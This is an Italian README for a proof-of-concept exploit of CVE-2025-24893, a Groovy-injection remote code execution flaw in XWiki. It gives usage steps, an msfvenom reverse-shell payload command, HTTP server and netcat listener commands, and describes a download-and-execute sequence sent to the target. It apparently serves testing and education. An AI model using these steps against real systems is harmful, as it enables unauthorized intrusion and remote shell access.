XWiki CVE-2025-24893 Prova di concetto

Autori: Net.Doge & Infinit3i

Questo script Python sfrutta CVE-2025-24893, una vulnerabilità di esecuzione remota di codice (RCE) in XWiki causata da un sandboxing improprio nelle macro Groovy renderizzate in modo asincrono. Consente l'esecuzione arbitraria di comandi tramite l'iniezione negli endpoint SolrSearch basati su RSS.

📌 Caratteristiche

• Esecuzione di un singolo comando tramite iniezione Groovy
• Generazione automatica del payload reverse shell (con msfvenom)
• Opzione per personalizzare:
  • Target remoto
  • Indirizzo IP locale
  • Porta del server HTTP
  • Porta del beacon della reverse shell
• Anteprime pulite dei payload bash
• TUI interattiva a colori ANSI

🚀 Utilizzo

1. Clona o scarica lo script.

2. Assicurati di avere installato quanto segue:

   • msfvenom di Metasploit
   • Python 3
   • jq (usato nei payload bash)

3. Esegui lo script:

python3 CVE-2025-24893-PoC.py

4. Seleziona dal menu:

   • Esegui comando – Esegui qualsiasi comando shell in remoto.
   • Reverse Shell – Genera e distribuisce una reverse shell ELF sul target.
   • Cambia impostazioni – Modifica LHOST, RHOST, la porta del server o la porta del beacon.

🧪 Flusso di lavoro della Reverse Shell

1. Il payload viene generato:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<beacon_port> -f elf -o rev

2. Ti verrà chiesto di avviare un server HTTP Python e un listener netcat:

python3 -m http.server 8080
nc -lvnp 31337

3. Lo script invia la seguente sequenza al target:

   • Scaricare il payload
   • Renderlo eseguibile
   • Eseguire il binario

⚠️ Avvertenza

Questo strumento è destinato esclusivamente a scopo educativo e a test autorizzati. L'uso non autorizzato su sistemi di cui non si è proprietari o per i quali non si ha esplicito permesso di test è illegale e non etico.

📄 Riferimenti

• XWiki
• MITRE CVE-2025-24893